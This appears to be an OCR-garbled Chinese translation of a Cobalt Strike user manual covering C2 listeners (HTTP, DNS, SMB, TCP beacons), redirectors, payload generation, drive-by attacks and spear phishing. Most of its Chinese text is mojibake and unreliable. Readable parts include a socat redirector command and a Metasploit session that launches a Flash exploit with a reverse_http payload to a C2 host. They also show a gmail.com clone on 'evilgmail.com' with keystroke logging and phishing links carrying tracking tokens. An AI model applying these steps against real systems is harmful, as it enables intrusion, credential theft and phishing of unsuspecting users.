HTTP Host(Stager) FER#4l HTTP Beacon Y HTTP Stager B9EH., NL{REIL payload SEER
T stager IINHEECXIRS, A ERLLE.

BT profile FER, RATLUEZR— C2 IESUEEIR, BIT— C2 SR, (RAJLAE—N 4
IBESMEENHZE, FATARNEZE, (REBEEA HTTP & HTTPS MIFEESBE R RIS
TREIEIR.

HTTP Port(C2) FEXZE{RAY HTTP Beacon [EEAYKE, HTTP Port(Bind) FEASE(RAI HTTP
Beacon payload web fRS3284FEMNImC. MRFEREROSHEEMS (Fla0, #ZKE 80 &
443 IO EEESEE IR B RRARS S ES — Nn A _ EAERE, XHNEEMRSE) , IBAaxXLs
meRER.

Y05 HTTP Host Header {E#IERE T, SFMMIRAY HTTP stagers, FEIL/RAY HTTP BfE. XML
(68385 Cobalt Strike F| B ZRIBTEAENSS.

i HTTP Proxy FRESINN ... BELRALL payload IEE—MEXMKERE.
Fary HTTP UIERRE
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(Manual) Proxy Settings XJIEHERRMLT ZNMEIKRIEH Beacon B9 HTTP #0 HTTPS i53KAIEED
&. Beacon ERATT AR AHERIAHIE/ P _ETSXU#ER Internet Explorer (CIEELE.

Proxy Type FERFCE TCHEEAYZEEL, Proxy Host F1 Proxy Port FEXEIF Beacon RIEEMERIE
7. Username # Password FERERIER), XEFERIEE T Beacon FARXIEHITEMHIEIEAE
;EO

n {Manual) Proxy Settings

Procy Type: |h1:tp ']
Prosy Host: [172.16.4.80

Proxy Port: |B0BO '

Usermname: |bobtherabbit I

Password; |camotsRULE

[ Ignore proxy settings: use direct connection

[.set.|[ Reset | [ Help.|

E20. FRIRIBIRE

A% Ignore proxy settings;use direct connection (ZBEERRIEISE; (FHEE) kEH
Beacon FEITIRZINE HTTP 0 HTTPS iB3K.

LIFEBHIEREZE, Bt set X&EH Beacon XiEHE. =5 Reset OJLUBRIEEIBEEE HEIA
8.

e FHRIRIBIRENS/IN HTTP 1 HTTPS Beacon payload stage, A<g/0ii payload stager,
EEMES

BERREMN TR BERNESTRIEN RSS2 BNERSE, (HUEFEERSBINEESEAZRIE
PAIRSS SR TALR, BT EEMEE, FTLAAREY Beacon payload 12HZANEEEH. FHEEMER
ERTFRATAZE, RACSERREIMIRSSSHIE TN TS SN,

FEE:

HWHRE—EER, TIARBERE (XKOPSECFIC2) by rayh4c :

C2 Redirectors, FIEENER C2 HIEIN—/ N hiEIRSE, XN PEIRESSERAINEFIRES R

RITER, C2 REALBTEREARSAT YIRS, AIFTemERTEE C2. FERKEAES
FEERRY C2 FNEpHIE RS .
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Redirector server - 1 S
Short Term HTTP C2
- (attacker-domainl.com)

"'\"-.. .
o

Long Term DNS/HTTP C2
(attacker-domain2.com)

Redirector server

Phishing server
(attacker-domain3.com)

XA C2 EEMERES T T ERS X MEhinfIR B ENZ BRI, JMRREEER
BEEAR (BWk)  —BEECORBETLMGMNETS, MRIFEEERaRE, SNREEERE
BREIEREHE.

Cobalt Strike FU¥EITRE EIEINEEHERERE MRS, JIRIKE— HTTP 8¢ HTTPS Beacon HEITEEHY
Az, fERAMEEIRINEREMES IP (£ Host FEHMEA) . Cobalt Strike AEEABXMER. GNR(R
BMHA host AREBETHRIFEN (F2EBAIRSSEERY IP) , BBA Cobalt Strike FRIREREEMES.

— BRI T N EERRIIE R ARER socat,

TERE—A socat I, {FRR: #80imH LRRAEIEZRE A ENT192.168.12.100AIEIBAIRSS 2569
80uHM :

socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80

4.6 DNS Beacon

DNS Beacon 2—/MRHERY Cobalt Strike ThRE, X4 payload {3 DNS i&k3&f& Beacon IREIA{R,
IXLE DNS BERATFRETHIREY Cobalt Strike HFIBANRSS2E/E/91EL DNS ARS528AYIEHE, DNS MR &I
Beacon {RIRELEIEREEIFIPAIRSS 885K TE({ESS. DNS ML &ifF Beacon YA MRAIEIBAARSS 28 &k
£5.
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"
ask .COM

Root Server

query for is host in my cache? no
1234 profiles Josenokove.com

; answer f_f-"‘“"’* ' ask LOSENOLOVE.COM

.COM

u ask PROFILES.LOSENOLOVE.COM

LOSENOLOVE.COM
(godaddy’s server)

Compromised System Local DNS Server

answar

PROFILES.LOSENOLOVE.COM
{mahwarec2. losenolove.com)

E21. 1751989 DNS Beacon

1E Cobalt Strike 4.0 } 2 j589kkA, DNS Beacon 2—MX DNS Y payload, 7EXA payload
%G HTTP BIEERN., XESZRRMARI = mARRIMS,

HiEEE
4%, DNS Beacon aJLUEIT DNS TXT i25. DNS AAAA i2Hak DNS A IBR FE(TE. MEEBR
L., It payload EEXEEIRBEZ EYIRAREME, #F Beacon BB A< KMEELA] Beacon A9
HIREE,

e mode dns 2 DNS A ICREIEEE;

e mode dns6 £ DNS AAAA iBEREIEEE;

e mode dns-txt 2 DNS TXT iCREUE®E. DNS TXT iEREBANEIEEE

BIE, REaEaTAESET, DNS Beacon A8E check in, {FH checkin #< a3k DNS Beacon
ETRENERIRTE check in,

i5i¥&, DNS Beacon BRIE T H{ESEAIAE checkin, {# checkin #5S$Z3K DNS Beacon {£
TIRELERIRHE check in,

FEE:
XERY check in FIEBRIRIEFI RS /B HTAXEINR?

XEHY check in REiZz2#IREEND! DNS Beacon /O BEENE, thHiE DNS IRS2AIX—
AN xxx.xxx.com B DNS iEK, {(tME! A2 TESEIRER, WNEHFA2ERREIZE
MBEEER, FAiRBEcheck in, WA DNS Beacon flif, €& payload TEB#R_EH
FZESRER—SE, EERAENMEAER. MESIERTIXA Beacon —T8UE+H, R

B last MRS EEE, HBEEHETH. XHERKEEIERE]. X IHEEER
Beacon YRR a5 KL =R Beacon FUEUEEE, AEHIT checkin FIBEUEER Y. F/
Y HTTP Beacon BB ITAUEEEEIRAY, (B2 DNS Beacon s check in RIIETTEIRERENR
B.

WNERAIFEAE AT Beacon UEHEEE, APABAIAGEA DNS TXT iEREHEEE. Cobalt Strike 4.0
WA Z BIfEECE DNS payload FYRHREE HTTP F0 TXT FFMERR, 4.0 kKA RE DNS TXT
ICRX—FEET, XEEA.


af://n18999

HSERHUT checkin AL, MISHUT—NEAEHS, AN whoami , BESERER check in
BYTHRI®S, XMEMBEN [ERETMESHAES checkin] . MRRMA checkin &
<, HIURERTTAE.

HITE5gE

EEl5E— DNS Beacon 5028 j@id cobalt Strike — Listeners, mi5 Add &5H, AEIER
Beacon DNS {EJJ payload 8,

m Mew Listener

Create a listener,

Mame: [local - dns

Payload: |Beacon ONS =

Payload Options

DS Hosts: profiles losenclowve .com |
freepics losenalove.com
game lasenalove.com

DS Host (Stager): rperi|EE.|DSEHD|':IU'E-CGm |

Dns Port (Bind): | |

Save Helg

[E]22. DNS Beacon %&In

1®&E: Cobalt Strike 13.3 DNS Beacon %I (fERRXIER) :

B New Listener — O x

Create a listener.

Name: [ l

Payload: lwindowsfheacun_dnsfr everse_dns_txt - ]

Host: | l

Port: I l

Save

R [+] RFIN—ZEIZN5 beacon BEAYEA. 1REY Cobalt Strike FIRAIRSZ 2SR AW RIEERY
HEEEREM. 63— DNS A IBRAEIEM[IREY Cobalt Strike FIBABRSSSE, {88 DNS NS iB253k
B2 MEZ S FIEBEIRENRAY Cobalt Strike FIPAIRSZ2EHY A IR,

DNS HOST(Stager) ZFERECE DNS Beacon B9 TXT igR stager, XA stager (FHAEEKER
stager 9 Cobalt Strike IREHR, {/RAY Cobalt Strike BIBAIRSZ 2 R St X It imi 2 EEELILE.

ENK/RE0 DNS Be s, FTH— N E&IHFLEN nslookup jibberish.beacon domain (domain BT
i stager 18) . MR{FERT— 0.0.0.0 B9 A IEREIE——XiBE{RAY DNS BeEEXIHY. a0
RIRZBEBREE, BhREBIRAY DNS BLEARXS. DNS Beacon A&5{RE(S.
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HRIR(RAY DNS iIER3 | TIRAIMBEZORIE &AL (primary address) , Cobalt Strike #J DNS BRSS
BB MRAIMESEORENEIERIXTIN, 24 DNS fBTESN—BIRSEKRER, BENE—&
IRSSEEHEIEISRT, DNS BTREFFESERES,

WNERRTIE NAT 1B REE, BRIEARIIAN IP HEIHEA NS 125, FRISIREMIEIR Bt & 53
LB UDP FREZURRIZE S, Cobalt Strike B &—Ma4l Beacon HY DNS RSSEE,

FEE:
FMBRY [1E NAT IRERE] |, ESLHEREARSSRERMPRIIER.

LEE— DNS Beacon HIRHE, HiAEZ3TF Cobalt Strike FEHIRAIRSZ2E/ES T —1 DNS RIfEHT
fR55es. HZEFHAIT DNS EKRIMNE, MBELLS3ImOAE. WREAMRSESERMNE,
A EIEAKIPAYS3uH OFIPI M I PH— N BRET, #8245 FHBAMMAY953i% O ARETZ P MBI RAAR
S X,

4.7 SMB Beacon

SMB Beacon {fH@m&EBEET— R Beacon HTEE. XMXIEBEXNR—&EN LAY Beacon #1
FEmILEH Beacon #EM. Windows i EIEBSIIETE SMB MY F, HIt15%& SMB Beacon,
FEE:
ﬁfﬁ%ﬂg rﬁﬂﬂi%ﬁ%ﬁﬁ—é‘imtﬂ’ﬂ Beacon *DE%IX—)Q?%E’\J Beacon %Bﬁ&'\j‘(] %j:lé' SMB
Beacon BIIEE (pipe) HITHZEBNEIREE. SEBENHETLLEAMEIN_ EA9RNH
2, L2 ERHFEES MEH TIEE.
ERZE— SMB Beacon payload, i®id cobalt strike — Listeners, 5 Add, %&#E Beacon
smB {ESMRAY payload %I,

m New Listener 4 - 0O X

Create a listener.

Mame: [smb |

Payload: IBeacon SMB — |

Payload Options

Pipename (C2): [score_pd233 |

[E]23. SMB Beacon
FEE:

Cobalt Strike 13.3 SMB Beacon (FBFXJRR) :

B New Listener — (] X

Create a listener.

Name: ‘

Payload: {windowsfheacon_smb!bind_pipe

Host: ‘I

4
—

Pot |
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IfE—H95 SMB Beacon fHXAIEIUE pipeame (EERM) . FATLURE— M BRHNEERREIRT
BROAIEIT,

SMB Beacon 5 Cobalt Strike R4 payload FIARZEHENERS. XMRIGIIMERERF IR E
(5190 Attacks — Packages , Attacks — Web Drive-by ) IXFPEKBEH stager A9,

Cobalt Strike [Fi8EFIERBENTRIRE— payload, £EiXA{RFEIBIT SMB Beacon payload Y
=, AISRRFERIIETT SMB Beacon, {RIGFHREM—1 Beacon HEEEIE,

HERFNENHSHE

M Beacon #=HI&, 8 1ink [host] [pipe] RIBHAIAY Beacon §HZEEI— M ERFRERAY SMB
Beacon, gy Beacon check in, BRIFEENIITE Beacon £ check in,

FEE:

BIEIDZMRERL T, FMBHY check in, FERIE Beacon BiEEN, EESERFZNTEHIE, &
B TESEIEERAVAE.
RTETEEREMS, HEEH Beacon H Windows a2 EiEH{TIE
Wreh, JFITEa—LEs:
1. BB SMB Beacon BYFEHA /%4450 0 _EROER.
2. {RABESHEZRRFE— Cobalt Strike SLFIETERY Beacon,

WNRERERFEES— Beacon Z/GERI—" error 5 (1RIE4H) , ATLASIKIXEERRR: FFEUE
FBRPIS a3 make_token DOMAIN\user password FEFEXITHiFEHEEBETRIRZE]
ShE, AEER=EERE] Beacon,

EHE— Beacon §§E, ERI[/NFHTFIEPFER unlink [ip address] [session PID] , X
[session PID] 22 EEGHEHER Beacon BUHAE ID, ZERTHEZ/F Beacon i, 1BE—MF
TEAY Beacon SRITFFEER.

L{RXI— SMB Beacon BUETHEE, EASEMIFEK. Bk, BHAN—FNEFE Beacon EE
AORES. IREJLABER link S RMIERAIB— Beacon #kEXT SMB Beacon A=,
4.8 TCP Beacon

TCP Beacon f§EF— TCP socket RiBIT—PAR Beacon 1BfF. XMXIEEENE—EFN LA
Beacon FNEM4EAY Beacon &ERL,

m New Listener

Create a listenear,

o XNREWEET SMB i

ail

Mame: [tcp 4444 |
Payload: |[Beacon TCP - |

Payload Options

Port (C2): (4444 |
[ Bind to localhost only

[E]24. TCP Beacon
FEE:

Cobalt Strike 13.3 TCP Beacon (FBFXJHR) :
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B riew Listener B - .

Create a listener.

Name: I ]

Payload: lwindu:rws,"he acon_tcp/bind_tcp - l

Host: I l

Port: I ]

Save

EfEE— TCP Beacon payload, i@id cobalt Strike — Listeners, midh Add #%$H, &%
Beacon TCP {EA{RAY payload LA,

{ERIXFTAECER) TCP Beacon 2—14FERT payload. —MBER] payload RFRFREERIEHIRS

(EltHES, EHEEES— Beacon 2iF) AIER:, Port(c2) EIHEH TCP Beacon EE &R
im0, H¥elf—MNMERE, 4% Bind to localhost only 3E{# TCP Beacon 4fEZ 127.0.0.1,
WNERARINA AT AER TCP Beacon, HRAIXE—/MRIFAIIEIA,

S{LIF SMB Beacon, TCP Beacon 45 Cobalt Strike FriR4E payload BIASHENERRS., BT —L
ER T stager FIAFIKaIAYING: (Ekal: Attacks — Packages . Attacks — web Drive-by) ,

Cobalt Strike S8 BFIERBENITOIRE— payload, £=i{/9{R#FIBXS TCP Beacon payload AJ#%
#l, WERIRFFIANIZIT TCP Beacon, RIEEEN—R Beacon §EERIE.

A E A
M Beacon $=#H&, {#F connect [ip address] [port] >RIEZFIHY Beacon EEEI—NEFERE
B9 TCP Beacon, HFIHIEIE check in, BRYSEZERINTEE Beacon <& check in,

FEE:

BIEEAMRIET T, MBI check in, 1SHIE Beacon EIEEH, EIESERFZNTEUE, &
BIFHTESEIEETNAVAS.
HHE— Beacon 5%, ERXSERTFSIEAEHIE®EER unlink [ip address] [session
pID] . LG, RAILAMNE—FA (BEfMEFEN) EFmEREE TCP Beacon,

4.9 JpE C2

HME C2 B—HHGE, RIFSE=J57EF78= Cobalt Strike i Beacon payload RIEER. XEHE=771E
FriZEfZE| Cobalt Strike SRFENEFREFEABAIM, FEMRLAULTSTUEHIRT payload AYEILHS N, X5
=HERERINE 2 BRS5ERRS1RAY Cobalt Strike HFIBARRSS 2832 E.

%% cobalt strike — Listeners, mih Add, &8 External c2 {EJ9{RAY payload,
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7 New Listener [

Create a listener,

Marne:  fextcd) i
Payload: |External €2 |
Payload Options

Port (Bind): (2222 |

71 Bind to lacalhost onby

E25. 5pE C2

VB C2 FHOBRANEI. Port(Bind) IEEIIE 2 IRBESFHERMIKO., 4k Bind to
localhost only LAEAMNE C2 IRSZESNAHETML.

SME C2 Ilfres S EUM Cobalt Strike ITEsAE. X MNEIMROESLRE— M UERIRD, REHEXN
HithialresfThee, FrARsERRA —ER2ERSEE.

BTHEXIINE QNESER, BhELHE:

e https://www.cobaltstrike.com/help-externalc2

4.10 Foreign Listeners

Cobalt Strike SZHFXIHMNRITERAIELE.

XLEERITETE Metasploit #2288 EAth Cobalt Strike SLIIAY x86 payload handler B9518. EEE—1
Windows HTTPS Meterpreter £iEZ—/M#EF msfconsole FIABARIBE, #IZ— Foreign HTTPS
payload FHEEHIFTROAOEISHEN A0 handler, {REILIZEEIREEAEF x86 Cobalt Strike 151738
A9tte7515EF foreign listener (IY5MERITER) .

A 1MEMhSEES

Cobalt Strike DT TEMERLNER BB R RIS M TN BRI ERIRAIARAIRSS 28, LLan, MR
RS ERERIRIEA I ANERIRIED T, MR—DESETHARKN, XTERIRMEGRERE.

—ITEHMRERS N EEARMBEEERIL, Cobalt Strike 4.0 MIBIFERIFANIRIT.

Multiple egress listeners are OK P e Pz
Craate & istaner, fﬂi?f;“’l\.':ﬂ DEDE%.E__ Craate o lstemer,
mama: | | Name: |
Fayload: [Beacon HTTF =] Peyicas: [Bescon TCP =]
Payload Gptions Payload Dptions

HTTR Hasts: Port [£2): 4444
71 Bind to Iccalhost onky

RiFE- TCP#0 SMB ks

HTTE hast iStagen: [10.00.204 | mﬁ
Profie: [detautt =
HTTP Portic3:  [8o |

Multiple TCP and SMB listener
configurations are QK taon!

HTTE Port iBirddy: |

SRR ST
- ; Jshras Cmediiobd  sepgmscmas

Profile “variants” allow different Alternate bind port allows E'EH;:EEEE“
Indicators per egress listener. redirectors for other listeners to HTTP C2 im[]

use common HTTP C2 Port.

El26. EfitiRiEEATIRE


https://www.cobaltstrike.com/help-externalc2
af://n19092
af://n19095

FEE LEPY [EREXH R RSN ORTREAEMETS] XOEFEHFE
i®, BEIER [C2 R TR e N E O RITE A ENNERERER] .

{REILAEZ AN HTTP, HTTPS #1 DNS I5Ires4PEZl—NRIhAY Cobalt Strike HIBAIRSS 28, 1XLL
payload HE(INEREFEXFFROSH (port bending) . XAVFERRIEERZEF C2 IREFEA
S5{re9EEEE (80, 443853) HEMIRO, (BRRFIEXLISITEsSPERI RO R RAIE
PAIRSS B8 R AP AR AR TR,

AT FERIIMEREBIEIRS L, Cobalt Strike B9 C2 RN ATaeE SR, THRE—FEXRT
MHRRENNR—MCEXHPETTE. BIREXEA HTTP 8¢ HTTPS Beacon EilT=8AT, (REJTLASE
—MECESHEEAR,

Ah, ARETLAFE— EIBAIRSS 85 EXE X Z4™ TCP #1 SMB Beacon, S— M &EMERARNEEM KR
B, 1 kER—EMRSEEAIEO Beacon, —EE( B EERMETR, IPAETLUEEIEME
—NXLE TCP 1 SMB Beacon A9 payload,

4.12 Payload 24514

Cobalt Strike SREUETERIF Beacon BB, R Beacon REERUCREEBIMIRSRZAUESFHERRE
BERKIEEEBPAIRSS =R,

BEURIZE Beacon payload B, Cobalt Strike 24— MNABRSZEEE BRI TH/FAENT. HIBAIRSS =S
HIAESHERA Beacon Y payload stage, Beacon {&EFRIBABRSS B8HI A $ANNZE &% 2 IR\ AR SS28H0
SNETTEYE.

Beacon WFERIRAIRSS 28T LUK HESFNIZMISEE Beacon S1EAYMIH 2 BT AESIETOEUR. 1Tt
TCEIREE—1 H Beacon AN SIEFE. BRARSESFEREA Beacon ISIEMIARINE(ES
FHigZHEH.

B> Beacon EMERXMIBRIATSSZHRLIMEEEE., SRS HTTP F DNS Beacon H{ERIER
(A, AAAA. TXT) #URBIERS, {REFIER HTTPS Beacon RIRFRIZEIRIF.

TR, X Beacon DMERAY, payload stager AAEMIHRR, IRBEXLNENT M.


af://n19105

BhE R ESR

5.1 EPFim System Profiler [BIERET]

System Profiler B—MNABFIRKEIRHAMIERT R, XNMNTEBH— N AHBAY web IRSSE8, FH3HH
B EHUEAIR R TIESGRE]. System Profiler I2Ht—NE MR AU ST 28 BB A TR N FEFNIEHRYS
*. System Profiler B&EIX AR MAIBIRS S RAIAFAIARK P ik,

BT Attacks — web Drive-by — System Profiler J3zf System Profiler, EFzf) System
Profiler JRHETEELBERI URI F1—NE5 Cobalt Strike web IRSZ 280950,

YNERIFIERE T — Redirect URL (EFEM URL) , N—BREHEILE, Cobalt Strike REEMNE
& (EEHMESEE) FXMEER URL, B Launch LUSHE System Profiler,

System Profiler fEFI—REEZH Java Applet RIS ERAR IP FiaEBREEHY Java i
K, ER Java WREETEEN, XTS5 IEMREE. BUEDIE use Java Applet to get
information (f§£f8 Java JMERFREUSE) TERM System Profiler H#2k Java Applet,

Ak Enable ssL HELUEIT SSL #2{Ht System Profiler BRSS. XAMEWEEA, BRIERIET C2 HEMH

HEM System Profiler BE4ER, 154£%) view — Applications, Cobalt Strike EFHEERFD T
P RIMBIFTE N AR,

5.2 Cobalt Strike Web jR53

fRZ Cobalt Strike ZHEEMNEANIE CHI web IRZ81ETT. XLIRSELE System Profiler, HTTP
Beacon #[ Cobalt Strike 9 web drive-by &, BILATE—™ web fRS588 LIEEZ ™ Cobalt Strike If
Be.

EEIE Cobalt Strike B9 web RS, @I view — web Drive-by — Manage . TEXE, {RalLAS4HTE
{a] Cobalt Strike URL ESEMEHREL{ZLE— Cobalt Strike web fg53.

M view — web Log EISHIZENMRAY Cobalt Strike web IRSSHIIE],

4NER Cobalt Strike B web JRSZEEERTKHE Lynx, Wget & Curl XI%IS8A%i5K, Cobalt Strike £8
sRE— 404 TA@E, Cobalt Strike IXFEME A T B IERAAIERIR.

5.3 AREHHNEE

RFNNEARREFA. Bk, RFNTEEFBIESINEERIAMAIEHNIT. Cobalt Strike E{5{RE
DB TSR RPN RS, XENEARIRERIRENRITER. ~di Attacks — Packages
FHEE PRI —,

HTML Application

—N HTML Application (HTML RZFE) 2—AMER HTML FI— Internet IS SE SHFNHANES RS
B9 Windows 12, ZRERFEAR— HTML R, 1ZRFIE{T— Cobalt Strike payload, {REJLAIE
P HATAOSETSRIRE— HTML RZAE, 1t HTML REARBRE— NI ST S e EHIETE.
%642 PowerShell SEIISEAEEI— HTML [A, %R AR PowerShell SEiz{T— payload, {3
VBA IEIREREARE— Microsoft Excel SLAIFIEIT—NERINZEFRE payload iIEAEIREH,

MS Office Macro

ZIEFREAE— Microsoft Office FUZASAFHEIEZ=ER N\ Microsoft Word 8 Microsoft Excel B9i5
Hﬂo


af://n19112
af://n19113
af://n19120
af://n19125
af://n19127
af://n19129

Payload Generator (Payload 4EF}g8)
ZEFBATHRUARNRN SIS SH Cobalt Strike BY stager,
Windows Executable (Windows SJ#1{734)

ZFREFFBAER— Windows BJ#4T Artifact, FBFEE—" payload stager, X MEFE/IRRET
Z R kTN,

Windows Service EXE 2— Windows B[#147314:, BJNEL Service Control Manager 5%, REJLA
FERXNTHUTUESRAIEAER sc dapsiehy Windows IRBAIERIER:, SfEEF Metasploit HEZRAY
PsExec &AL — B EX A HRITXE.

FEE Rk, B EXE MRS EXE EBX 52, FIF Windows Service
EXE 4AEH9 EXE A BERSRIERIRS BE5NH EXE, FE Cobalt Strike 1 Windows exe 455
EXE REEMENRRSZ EISEIMY EXE i2F (R ABENRService Control Manager) !

Windows DLL (32-bit) &— x86 A Windows DLL,

Windows DLL (64-bit) 22— x64 A8 Windows DLL, X/ DLL £JrR4&E— 32 (A0HIE, HEBR
MNEFESTIRER . X/ DLL EIESSH— 1N FRIIEE, WINEES rundli32.exe 1H3RE. A
rundli32.exe SEMEBSITINEARAY DLL,

rund1132 foo.d11,Start

A)j%E Use x64 payload HESRARLILHC x64 stager BY x64 Artifact,

4% sign executable file HERFH—MUBEBANERRERE— EXE 8 DLL Artifact, {RIAR
BE—MIER. RIRE C2 IEXAHIEEIES.

Windows Executable(s)

ZEFBERESH Beacon (BHELZ payload stage) , X/ Beacon 2{FEEIFHI3286411 DLL, 2
— AR stager AYRTHUTIM, EIEMRITERERE. EREdEMan<. — ML stager B9
payload Artifact#FRATIERAY Artifact, XMEREHAE PowerShell &SRS H Beacon fEA—1
PowerShell i, B raw RIS HSHAETXKAT beacon {XE3.

INBRT, XPXESH x86 payload stage, A%k use x64 payload HEEfEFE x64 Artifact &5k,
—* x64 stage,

A% sign executable file HER[FEEAIBERZANEPRREZ— EXE 8 DLL Artifact,

5.4 IEE NI

Cobalt Strike B9 web BRSZ 2RI LAFIEE(RIOFFIRENAIFERFE. BT Attacks — web Drive-by
— Host File RF(TIEE. EEFEEIRENY, HEIE—MERURL, REEFESVER MIME 28,

FEXHXPINERSENAK, ERFEREIRGZEIUWETRE Cobalt Strike 9 URL BRAZI—ME XK
REEEBTFERMET, LIRXEHAIRHE, Cobalt Strike AJLABITEE FHRA4AZ X 5 | BB E X Ai%L& 1R
&, RERESEHEIERST.

5.5 User-driven Web Drive-by Attacks (FIFRIEEIAY Web Drive-
by IE)

Cobalt Strike ffEREZF T ERAFIZERTFA web drive-by i, EREBFFIA—NKE, BT

Attacks — Web Drive-by FiFEiE—MEIn:


af://n19131
af://n19133
af://n19143
af://n19147
af://n19150

Java Signed Applet Attack

EXANEREF— web [REZ[FITE—NBEERAT Java applet, ITEWERLBIX applet BURF=
17. S—MINEETTXMUR, (RHERE T 2R SRR,

Java B2 Applet (A Cobalt Strike B9 Java jENEE, £ Windows L, Java i NBESJTF—
Windows SRS E T NTE TN shellcode,

79T WRBEFIREER A G, {RFEZEM Cobalt Strike RIEESEEHR TEILL Applet BE4FHERAIEE
ZIEBHEHRTER.

Java Smart Applet Attack

Cobalt Strike BIEEEE Applet ILEE—MEFBRE RS NREFARER Java 208, XNKEE
— web fRSSESITE Java applet, ¥, XANVMEFALUE Java & ebfa+ials, HEAEE
FEPHUER AT iS50,

XA applet SHERIIMEFREEREA Java iwiEFIFE. R Java IRAZEREY, L applet &2%
%458, FEF Cobalt Strike B9 Java ;E AEEHIAT payload,

Scripted Web Delivery (S)

XNIHEESHE R — N TMERAY Beacon payload Artifact, 7E Cobalt Strike B9 web R EIEEE,
FHEM—NERITETEHINEITIUL Artifact, EIIEIE: bitsadmin, powershell #] python,

bitsadmin FETUEE— NI HTIEFER bitsadmin SR TFEE., bitsadmin 75i&@Eid cmd.exe iz
ITICETHATSZE, powershell IEITHFEE— PowerShell BZAF{# A powershell.exe SETREILHIZAF
NHEBTIHE. python EIWEE—1 Python BIAFHEER python.exe SR TFEZHAFHIEITE. 88—
IXENETERRE—FMZEST Cobalt Strike MM EEHARRINIG %,

5.6 EFimAYmERFIMA

{RETLMER— MSF BRI FESRIE1%— Cobalt Strike Beacon, Cobalt Strike B Beacon 5 MSF 8
PMERhINIEFRES., B(FER MSFiRREFIBREIX— Beacon:

e {#F windows/meterpreter/reverse_http[s] {EJ9{RAY PAYLOAD FHZE LHOST F0 LPORT
SKIEMRRY Cobalt Strike U5ITES, EXBIRAZRERIELIX Meterpreter, {REFELL MSF 4ERM
FEXERY LHOST/LPORT & payload B9 HTTP[s] stager,

e 15 DisablepayloadHandler iEEH True ., HIEIELE MSF B2 7E MSF IEE— handler 3k
IRSSARAY payload iE#EZ.

e J& prependwigrate iREH True, WIEINLE MSF Bi& shellcode EB—PMNHFEFIEIT payload
stager, SNREFBRINBREFERSHEAFXT, XSEHEE{RI Beacon SiEFE.

XEE— msfconsole WEEHE], B2 T— Flash J@EFIFE(Eix Cobalt Strike B HTTP
Beacon, It Beacon #4EE&1E 192.168.1.5 9 80 imM_L:


af://n19152
af://n19156
af://n19159
af://n19162

msf > use exploit/multi/browser/adobe_flash_hacking_team_uaf
msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_http
setPAYLOAD => windows/meterpreter/reverse_http
msf exploit( ) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit( ) > set LPORT 80
LPORT => 80
msf exploit( ) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit( ) > set PrependMigrate true
PrependMigrate => true
msf exploit( set SRVPORT 80
SRVPORT => B0
msf exploit( set URI
URIHOST set URIPATH set URIPORT
msf exploit( set URIP
URIPATH set URIPORT
sf exploit( set URIPath /
URIPath => /
msf exploit( exploit -j
Exploit running as background job.

exploit( ) [*] Using URL: http://0.0,0,0:80/
Local IP: http://172.16.14.135:80/

Server started.

exploit( ) > I

E27. M Metasploit {EREZFinIE

5.7 selEmuh

ERBERAKERAFBREFRZA, HTERSER#EE. Cobalt Strike RIMuLTME TERTLAR IR
tr. PuhsebE TESWE— MRS ARISH, ER—LIEINRIRBRESERENEGXEE AT LA
TRER—HF A,

EafE—/ /i, J@id Attacks — web Drive-by — Clone Site.

AL PNIERA R — ) RERIE S, ESPENFERSRIIEERY URL, Cobalt Strike 22—
IFRAME SRIEEMA— 1 RENER. R ... RREE—ETHEFinm R BERF.
Clone Site

The site cloner copies a website and fixes the code so
images load. You may add exploits to cloned sites or

Clone URL: |http:,’f\:mw.gmail.comf

Local Host: [www.evilgmail.com

Local Port: |80

|
Local URE: [/ |
|
|
Attack: |

[¥] Log keystrokes on cloned siteg

‘ Clone |‘ Help ‘

E28. MufselE TH

%B&E@MHLQW@X%%@E@ 4%k Log keystrokes on cloned site (GefEuhm ERIEREIC
R) B, XeFENuhREBEA—ER JavaScript S#210FER.

EEERBICRABTHEEINRNEMNIGATNEE, B view — web Log,

5.8 BRXAMLEIE
BiF


af://n19174
af://n19182
af://n19183

BAAMRER TR T EFIRE, LRSI AT E. HANBRNSHRERNNGIEZEE
UREERSEWEESN =W

ERXNBERZAE, (RENZKEBTRSIZ. Cobalt Strike EZAMEEAXANHBLRMBER. %X
HRE—TEE— " Bir. BIFUUE— M EFEMtit. (RETLAER— M EFEbdtit, m&8g—1
BF. MRRETEFR, WHEBTF Cobalt Strike HENB/MNEHIE,

(ELi
BT, (REENSIIEENR., ERFCRIFRTLESRITHHESNAE]. Cobalt Strike AR

PRI FEMEREIEENR, Cobalt Strike 1GMIBRMHE, AIRRITERE, FASRIIBKEEES
BIMEIR,

MRFEEIZBENERR, BESHAFAKEEEC. ASHBEFHIMEPiRRARERIAEEIRTS
i%. £ Gmail fh, R Reply REAFIDAIAETHIBILFIESE show original (BRRIEXAE) . 15
LHERERI— M, XEREUEEF T —1 Cobalt Strike $I&HRAHEHR 1!

{iReTBEE(sER Cobalt Strike B9 token BEMATRAIEMNR, Cobalt Strike FEARAVEIR B BN ~—

L6 token :

Token Description

%To% The email address of the person the message is sent to
%To Name% The name of the person the message is sent to.
%URL% The contents of the Embed URL field in the spear phishing dialog.

RiXHR
PUEIREEE T BMOEIR, SATLAFFAsTREET. BT Attacks — Spear Phish SSZM
HPETA,

To To_l\lame

Jim.Stevens@acme.com Jim Stavens

Targets: [froct/acmez.cav H L4 |

Template: r.r’roc\t,fpare'.ey’hnkedmmsg H 3 |

Attachment: | H [ ]

Embed URL: |http1//192.168.95.128:80/7id=2%TOKEN% | .

Mail Server: [192.168.95.139 | -

Bounce To! Ites'c@«:‘lashnir‘ne.erg |

[ Preview H Send H Help ]
E29. MR THE

BRE—TVEMY, ROAELESNFNENR. R Targets FERENAXEREIREENRNE
TR,
RE, IERRAEIRS S, M Template FERSEINAYSRERRSRIEFE—MERIG.

B, (RALUGRIEI— M. XERERRIIBmT e EitHE TIEEFaFlaZ—. Cobalt
Strike 2ASIRAIMMHENNZI A HAVFI R BRI

{RIBATLAEESK Cobalt Strike fER{RIEIEAY URL SKESHEIRPAIFFE URL, #ilk URL Bk ... SkikF
— Cobalt Strike $EEHITE. Cobalt Strike T{HEEIERIERNIMLGL, BalimEFI ARSESF System

Profiler,


af://n19186
af://n19191

Z{RERN— URL, Cobalt Strike JEXIEMINN ?1d=%TOKEN% , B—ERHIEMGESHELEE NS
h# (token) . Cobalt Strike ERIX MR (token) 1EMILTIAIERGIEICAIXZIRIEE FHB . 20
RIFEERS, BSUREILUE.

